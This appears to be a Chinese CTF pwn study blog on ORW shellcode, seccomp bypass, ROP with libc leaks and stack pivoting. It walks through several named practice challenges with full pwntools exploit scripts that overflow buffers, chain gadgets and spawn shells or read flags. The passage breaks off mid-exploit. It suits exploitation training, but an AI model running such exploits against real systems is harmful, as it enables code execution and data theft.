  • sys_write 的系统调用号是 4(十进制),即 0x4

寄存器传参方式(Linux x86):

寄存器 对应参数
eax 系统调用号:4
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要写入的字节数 count

做完了铺垫,现在就开始orw

shellcode绕过

首先,看看最简单的orw,在没有开启NX的条件下,可以直接写入这三个函数执行。

2

第一种直接用汇编写

1
2
3
4
#0x67616c66根据文件名改动 0x67616c66转ASCII-->flag
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')

具体解释一下这个汇编代码,根据上面对open,read,write函数的了解,汇编也就很好理解了。

1
2
3
4
5
6
7
8
#fd = open("flag", O_RDONLY);
push 0x0 ; 将0压栈,表示以只读方式打开文件(O_RDONLY)
push 0x67616c66 ; 将"flag"字符串的ASCII值压栈(注意字节顺序是反的,实际上是'flag')
mov ebx, esp ; 将栈顶指针赋值给ebx,作为文件名指针
xor ecx, ecx ; 清空ecx寄存器(第二个参数,O_RDONLY)
xor edx, edx ; 清空edx寄存器(第三个参数,权限模式,这里不需要)
mov eax, 0x5 ; 调用sys_open (系统调用号5)
int 0x80 ; 触发中断,执行系统调用
1
2
3
4
5
mov eax, 0x3           ; 调用sys_read (系统调用号3)
mov ecx, ebx ; 文件描述符(由上一步返回值在ebx中)
xor ebx, ebx ; 清空ebx,作为文件描述符0(标准输入)
mov edx, 0x100 ; 读取长度为256字节
int 0x80 ; 触发中断,执行系统调用
1
2
3
mov eax, 0x4           ; 调用sys_write (系统调用号4)
xor ebx, ebx ; 清空ebx,作为文件描述符1(标准输出)
int 0x80 ; 触发中断,执行系统调用

还可以通过传参传入flag的位置

1
2
3
4
5
6
7
8
9
#fd = open('home/pwn/flag',0) 0x804a094根据具体情况而定
s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''

#read(fd,0x804a094,0x20)
s += ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''

#write(1,0x804a094,0x20)
s += ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; '''
payload = asm(s)+b'/home/pwn/flag\x00'

第二种直接利用pwntools

1
2
3
4
5
payload = shellcraft.open('flag')        # Open 'flag' (fd returned in EAX)
payload += shellcraft.read(3, 0x804a090, 0x100) # Read from opened FD
payload += shellcraft.write(1, 0x804a090, 0x100) # Write to stdout (FD 1)
p.sendline(asm(payload))
#不知道为什么没打通理论上是可以的

2

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./orw")
io.recvuntil(b'shellcode:')
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
payload = shellcode
io.send(payload)
io.interactive()
ROP绕过

例题

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gift();
init_sandbox();
sandboxx();
return 0;
}
1
2
3
4
5
6
7
8
9
ssize_t sandboxx()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("Welcome to the Sandbox Challenge");
puts("Maybe you need an open read wirte ");
printf("please input your name:");
return read(0, buf, 0x100uLL);
}
1
2
3
4
5
int gift()
{
puts("I will give you a nice little gift");
return printf("Leak: %p\n", &puts);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./sandbox")
elf=ELF("./sandbox")
libc=ELF("libc.so.6")
def bug():
gdb.attach(p)
pause()

bss=0x404020+0x800
sandboxx = 0x4013ED
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
rsp = libc_base + 0x000000000002f70a
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']

payload2=b'a'*0x10+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(rsp)+p64(bss + 8)

p.recvuntil(b"name:")
p.send(payload2)


payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
payload +=p64(sandboxx )


p.send(payload)
p.interactive()

江西省赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

#from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#io = process("./vuln")
io = remote("",12345)

gs = '''
b *$rebase(0x19f2)
set debug-file-directory /home/zacsn/.config/cpwn/pkgs/2.31-
0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
set directories /home/zacsn/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibcsource_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31
'''
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
rl = lambda : io.recvline()
rn = lambda counts : io.recvn(counts)
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
#gdb.debug(elf.path,gdbscript=gs)
#gdb.attach(io,gdbscript = gs)
#gdb.attach(io)

elf = ELF("./pwn")
libc = ELF("./libc.so.6")


pop_rdi = 0x00000000004013d3
ru(b"hello sandbox!")

payload = b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4012f9)

sl(payload)
ru(b'\x0a')
puts_addr = u64(rn(6)+b'\x00\x00')
lg("puts_addr")
libc_addr = puts_addr - libc.sym['puts']
lg("libc_addr")
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
pop_rsi = libc_addr + 0x000000000002601f
pop_rdx = libc_addr + 0x0000000000142c92
pop_rax = libc_addr + 0x0000000000036174
syscall = libc_addr+libc.search(asm("""syscall;ret""")).__next__()
bss_addr = 0x404200

ru(b"hello sandbox!")
payload2 = b'a' * 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x10) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

#gdb.attach(io)
sl(payload2)

sleep(1)
sl(b"./flag\x00\x00")

ia()

今天先写到这✍️,以后还会接着写📖,但是明天就要开始着手学堆了🔥,不然很多比赛都打不了🏆💪。

ctfshow pwn69

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

可以看到orw是可以的,所以我们要先利用read将orw读到

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show','28191')

mmap = 0x123000
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

jmp_rsp_addr = 0x400a01
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")


p.recvuntil('do')
p.sendline(buf_shellcode)
p.sendline(orw_shellcode)
p.interactive()

这一部分是标准的orw

1
2
3
4
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

这部分我来详细解释一下

1
2
3
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")

asm(shellcraft.read(0,mmap,100)):这是汇编代码,用于调用read系统调用,从标准输入读取最多100字节的数据到地址0x123000。

asm(“mov rax,0x123000; jmp rax”):先将0x123000放入rax,然后jmp rax执行shellcode,为什么是sellcode呢等下再说。

p64(jmp_rsp_addr):将返回地址覆盖成jmp rsp,此时程序跳转到 rsp 指向的位置,即 asm("sub rsp, 0x30; jmp rsp")因为pop ebp后rsp

增高0x08。

asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置,jmp rsp就开始执行了。

然后我来看看整个流程。

p.sendline(buf_shellcode)后,栈上

1
2
3
4
read(0,mmap,100)
buf_shellcode.ljust(0x28,b'\x00')
p64(jmp_rsp_addr) # return_addr
asm("sub rsp,0x30; jmp rsp")

有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了,所以我们才有第二次send。

我们把标准的orw输入后,同理rsp又会回到起始位置开始执行orw,最终得到flag。

newstar2025 noshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v5; // [rsp+8h] [rbp-108h] BYREF
char buf[256]; // [rsp+10h] [rbp-100h] BYREF

init(argc, argv, envp);
write(1, "Your Power Has Been Restricted!\n", 0x20uLL);
write(1, "But your mind is still free!\n", 0x1DuLL);
write(1, "Do you want to say something?\n", 0x1EuLL);
if ( getchar() == 121 || getchar() == 89 )
{
read(0, buf, 0xFFuLL);
buf[255] = 0;
}
else
{
write(1, "You chose not to say anything.\n", 0x20uLL);
}
write(1, "leave or capture the flag?\n", 0x1CuLL);
__isoc99_scanf("%lld", &v5);
if ( v5 <= 0 )
{
v3 = 1LL;
}
else
{
v3 = v5;
if ( v5 > 2 )
v3 = 2LL;
}
v5 = v3;
if ( v3 == 1 )
{
write(1, "You chose to leave.\n", 0x14uLL);
exit(0);
}
if ( v5 == 2 )
write(1, "You chose to capture the flag!\n", 0x1FuLL);
challenge();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __noreturn challenge()
{
int v0; // [rsp+Ch] [rbp-4h] BYREF

while ( 1 )
{
write(1, "Welcome to the challenge!\n", 0x1AuLL);
write(1, "Please Make choice:\n", 0x14uLL);
write(1, "1. Check your power\n", 0x14uLL);
write(1, "2. Get the power of your cat\n", 0x18uLL);
write(1, "3. Open the door\n", 0x11uLL);
write(1, "4. Destroy this world\n", 0x16uLL);
write(1, "5. leave this world\n", 0x14uLL);
write(1, "your choice: ", 0xDuLL);
__isoc99_scanf("%d", &v0);
switch ( v0 )
{
case 1:
Check_your_power();
break;
case 2:
Get_the_power_of_your_cat();
break;
case 3:
open_the_door();
break;
case 4:
destroy_this_world();
break;
case 5:
write(1, "Goodbye!\n", 9uLL);
exit(0);
default:
write(1, "Invalid choice!\n", 0x10uLL);
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ssize_t Check_your_power()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Your power:");
printf("%d\n", (unsigned int)off);
puts("say something:");
return read(0, buf, off);
}

int Get_the_power_of_your_cat()
{
int result; // eax

result = puts("cat help you");
off = 256;
return result;
}

int open_the_door()
{
int fd; // [rsp+Ch] [rbp-4h]

fd = open("flag.txt", 0);
close(fd);
return puts("The door is closed!");
}

int destroy_this_world()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF

puts("make a choice:");
__isoc99_scanf("%d", &v1);
if ( v1 )
return system("rm -rf ./flag");
else
return system("/bin/sh");
}

这个sandbox,open,write,read地址都给了,感觉就难在长度的限制要利用上mov rdi rax;ret这个,最后一个rop链

锁了几个小时终于通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

context(arch='amd64', os='linux', log_level='debug')


def debug():
gdb.attach(p)
pause()


p = remote('ip', port)
# p=process('./noshell')
#elf = ELF('./noshell')

open_addr = 0x4011E0
read_addr = 0x4011B0
write_addr = 0x401150
bss_addr= 0x404000 + 0x200
flag = 0x402034
pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
ret = 0x4014CA
mov_rdi_rax = 0x00000000004013f9
p.recvuntil(b'Do you want to say something?\n')
p.sendline(b'y')
p.recvuntil(b'leave or capture the flag?\n')
p.sendline(b'3')
p.recvuntil(b'your choice: ')
p.sendline(b'2')
p.recvuntil(b'your choice: ')
p.sendline(b'1')

# 更紧凑的payload
payload2 = b'a' * 0x28
#payload2 += p64(ret)
payload2 += p64(pop_rdi) + p64(0)
payload2 += p64(pop_rsi) + p64(bss_addr)
payload2 += p64(pop_rdx) + p64(8)
payload2 += p64(read_addr)

# 打开文件 (O_RDONLY = 0)
payload2 += p64(pop_rdi) + p64(bss_addr) # filename
payload2 += p64(pop_rsi) + p64(0) # flags = O_RDONLY
payload2 += p64(pop_rdx) + p64(0) # mode = 0
payload2 += p64(open_addr)

# 传递文件描述符并读取文件内容
payload2 += p64(mov_rdi_rax) # mov rdi, rax
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(read_addr)

# 写入到stdout
payload2 += p64(pop_rdi) + p64(1)
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(write_addr)
# debug()
p.send(payload2)
p.send(b'./flag\x00\x00')
p.interactive()

当然如果没直接给出orw函数地址,我们也可以先利用libc泄露再orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110


from pwn import *
from LibcSearcher import *

context(arch='amd64', os='linux')
#(arch='amd64', os='linux')
# io = process("./noshell")
io = remote('ip', port)

elf = ELF("./noshell")

# Gadgets from ROPgadget
pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
bss_addr = 0x4040A0 +0x200
ret = 0x40101a
read_addr = 0x401446
mov_rdi_rax = 0x00000000004013f9
# Step 1: Enter challenge and set off to 256
io.recvuntil(b"Do you want to say something?\n")
io.send(b'y') # Send 'y' to trigger read
io.send(b'A' * 100) # Send some data for read

io.recvuntil(b"leave or capture the flag?\n")
io.sendline(b'2') # Choose to capture the flag

# Step 2: Set off to 256 first
io.recvuntil(b"your choice: ")
io.sendline(b'2') # Get_the_power_of_your_cat

# Step 3: Leak libc address
io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power
io.recvuntil(b"say something:\n")

payload1 = b'A' * 0x20 # Fill buffer
payload1 += b'B' * 8 # Override RBP
payload1 += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload1 += p64(elf.symbols['challenge']) # Return to challenge to continue

io.send(payload1)

# Receive leaked address
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("puts_addr: 0x%x" % puts_addr)

io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power
io.recvuntil(b"say something:\n")

payload2 = b'A' * 0x20 # Fill buffer
payload2 += b'B' * 8 # Override RBP
payload2 += p64(pop_rdi) + p64(elf.got['write']) + p64(elf.plt['puts'])
payload2 += p64(elf.symbols['challenge']) # Return to challenge to continue

io.send(payload2)

# Receive leaked address
write_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("write_addr: 0x%x" % write_addr)
#pause()

libc_base = puts_addr - 0x084ed0
open_addr = libc_base + 0x117610
read_addr = libc_base +0x117900
rdx_r12 = libc_base + 0x0000000000122431
rsp =libc_base + 0x0000000000039762

# Step 4: Second overflow to read flag
# We're already back in challenge function due to the loop
io.recvuntil(b"your choice: ")
io.sendline(b'2') # Set off to 256 again (just to be safe)

io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power



# 更紧凑的payload
payload2 = b'a' * 0x28
#payload2 += p64(ret)
payload2 += p64(pop_rdi) + p64(0)
payload2 += p64(pop_rsi) + p64(bss_addr)
payload2 += p64(pop_rdx) + p64(8)
payload2 += p64(read_addr)

# 打开文件 (O_RDONLY = 0)
payload2 += p64(pop_rdi) + p64(bss_addr) # filename
payload2 += p64(pop_rsi) + p64(0) # flags = O_RDONLY
payload2 += p64(pop_rdx) + p64(0) # mode = 0
payload2 += p64(open_addr)

# 传递文件描述符并读取文件内容
payload2 += p64(mov_rdi_rax) # mov rdi, rax
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(read_addr)

# 写入到stdout
payload2 += p64(pop_rdi) + p64(1)
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(write_addr)
# debug()

io.send(payload2)
io.send(b'./flag\x00\x00')
io.interactive()

栈迁移专题学习

📚 看了好几篇栈迁移的文章,🤔 越看越懵,😵‍💫 感觉自己和没学 pwn 的一样。

原理学习

32位

  1. 首先先了解栈的结构

1

(自己画的,有错误望指正)

  1. 了解栈的结构后,我们再来仔细了解一下leave;ret这两个指令
1
2
3
4
5
call func()
-----------
push eip + 4
push ebp
mov ebp,esp

如果要保持栈平衡就要在call退出的时候执行相反的操作

1
2
3
4
5
6
7
8
leave
----------
mov esp,ebp
pop ebp
************
ret
------------
pop eip
  1. 什么时候用栈迁移:

    (1).有栈溢出漏洞。

    (2).溢出的长度不够。

    所以我们就要把栈迁移到一个长度够大的区域(通常是bss段),那怎么把栈迁移呢,主要就是控制栈顶的esp指针指向我们想要他到达的地方(迁移后的地址),从而控制程序的执行流。

  2. 栈迁移最重要就是怎么利用leave;ret进行栈迁移

1
2
3
leave //mov esp;ebp 把ebp传给esp,此时esp和ebp就在同一个位置了,他们指向同一个内容
//pop ebp 把栈顶的内容弹给ebp。此时ebp指向的就是栈顶的内容了
由于esp时刻指向的是栈顶的位置,栈顶的内容弹出后,esp会下降一个单位

2

1
ret  //pop eip 就是把esp指向地址弹如eip,同时esp下降一个单元

3

了解了栈的结构和leave;ret的执行过程后,就可以来了解栈迁移的原理了

  1. 栈迁移的原理:栈迁移一共要执行两次leave;ret

    1.首先我们先了解一下此时栈上的分布情况

    1
    2
    3
    4
    5
    6
    7
    主要如下图,这里注释:
    0xffff100c--->system的返回地址
    0xffff1010--->system参数的存储地址
    0xffff1014--->存储/bin
    0xffff1018--->存储/sh
    0xffff1020--->0xffff1004 也就是ebp--->0xffff1004
    0xffff1024--->leave ret; 原本是return address;

    4

    2.第一次leave;ret:

    1
    2
    3
    由上面的leave;ret的执行过程,首先leave:mov ebp;esp,让ebp和esp在同一个位置;leave: pop ebp,此时我们把ebp所指的内容换成
    了需要迁移到的位置,所以pop ebp后esp指向的就是需要迁移到的位置。然后我们把return address换成leave ret的地址,就会再次执
    行leave ret。

    5

    3.第二次leave;ret:

    1
    2
    3
    同样是leave:mov ebp;esp,让ebp和esp在同一个位置;但是此时ebp指向的是需要迁移到的位置,所以esp此时指向的也是需要迁移到的位
    置;leave:pop ebp,我们把return address的地址换成system的地址,就使得esp下降一个单元后正好指向system的地址。ret:pop
    eip,最终eip指向system的地址--->getshell

    5

了解完了32位的栈溢出,现在来了解64位栈溢出

64位

64位和32位栈的结构是相似的,主要不同就是调用函数时传参的不同

5

实例

32位

buuctf-ciscn_2019_es_2

6

  1. IDA反编译

6

6

计算一下溢出的长度0x30 - 0x28 = 8;很明显长度不够,要用到栈迁移。

  1. 先给出exp,在具体解释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'Welcome, my friend. What's your name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload)
r.interactive()
  1. 首先找到leave ret的地址可以用ROPgadget找,也可以直接在IDA的汇编代码里面找

(1)用ROPgadget

1
ROPgadget --binary ciscn_2019_es_2 --only "leave|ret"

8

(2)在IDA的汇编代码里面找

8

  1. 找到system的plt地址

8

  1. 在vul函数中有两个溢出点,所以我们就需要先通过第一个溢出泄露出ebp的地址,再构造栈迁移的payload

    (1)首先泄露ebp的地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    r = process('./pwn')
    #r = remote("node5.buuoj.cn", 25271)
    payload1= b'a'*0x24 + b'b'*4
    r.send(payload1)
    r.recvuntil('bbbb')
    ebp_addr = u32(r.recv(4))
    print(hex(ebp_addr))
    r.interactive()

    (2)构造栈迁移的payload

    1
    2
    buf=ebp-0x38 
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)

    buf=ebp-0x38 通过调试可以得到,我们最后调试,先解释payload

    1
    2
    3
    4
    5
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf)+p32(leave)
    ---------------------------------------------------------------------------------------------------------------
    buf + 12:p32(sys_addr)=4,b'aaaa'=4,p32(buf+12)=4,4+4+4=12所以buf+12就是/bin/sh的起始地址
    p32(buf):栈迁移所到达的位置
    leave:leave ret;

    8

​ 0xfffd158 - 0xfffd130 = 0x28 0xfffd158回弹到0xfffd168,正好0x28 + 0x10 = 0x38;

64位

actf_2019_babystack

9

64位,只开了NX,先给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 #coding=utf8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
#io =process('./ACTF_2019_babystack')
io = remote("node5.buuoj.cn",26651)
elf =ELF('./ACTF_2019_babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4008F6
#gdb.attach(io)
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
print(hex(stack_addr))
pop_rdi_ret = 0x400ad3
pop_rsi__r15_ret =0x400ad1
leave_ret = 0x400A18
offest = 0xd0
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.recvuntil(b'>')
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr:'+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
system_addr = puts_addr-libc.dump('puts')+libc.dump('system')
str_bin_sh = puts_addr-libc.dump('puts')+libc.dump('str_bin_sh')
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.send(payload)
io.interactive()

9

这个很明显要栈迁移了

这个附件里面没有找到system的地址,所以我们只能通过泄露libc来打了

1
2
3
4
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #ret2libc的payload
payload =payload.ljust(0xd0,b'a') #填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #stack_addr就是栈的起始位置,也就是我要迁移到的位置,本题直接回打印出来,接受就可以了
b'a'*8是因为pop rbp的时候 rsp会+8,所以要。

发送payload后,就会泄露libc

1
2
3
4
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
#system(/bin/sh) leave_ret+1--->retn用于堆栈平衡
payload =payload.ljust(0xd0,b'a')#填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #同理最终栈迁移执行shell

栈迁移到这里基本就总结结束啦~🌈✨😊

这里记录一个难的栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Are you the king of stack migrate?");
read(0, buf, 0x90uLL);
puts("Good luck.");
return 0LL;
}

0x90 - 0x80 = 0x10典型的栈迁移,先给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('nc1.ctfplus.cn', 30481)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
leave_ret = 0x4011c8
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x500

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e) # read -> bss+off
sa(b'Are you the king of stack migrate?\n', pay_pivot)
ru(b'Good luck.\n')
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
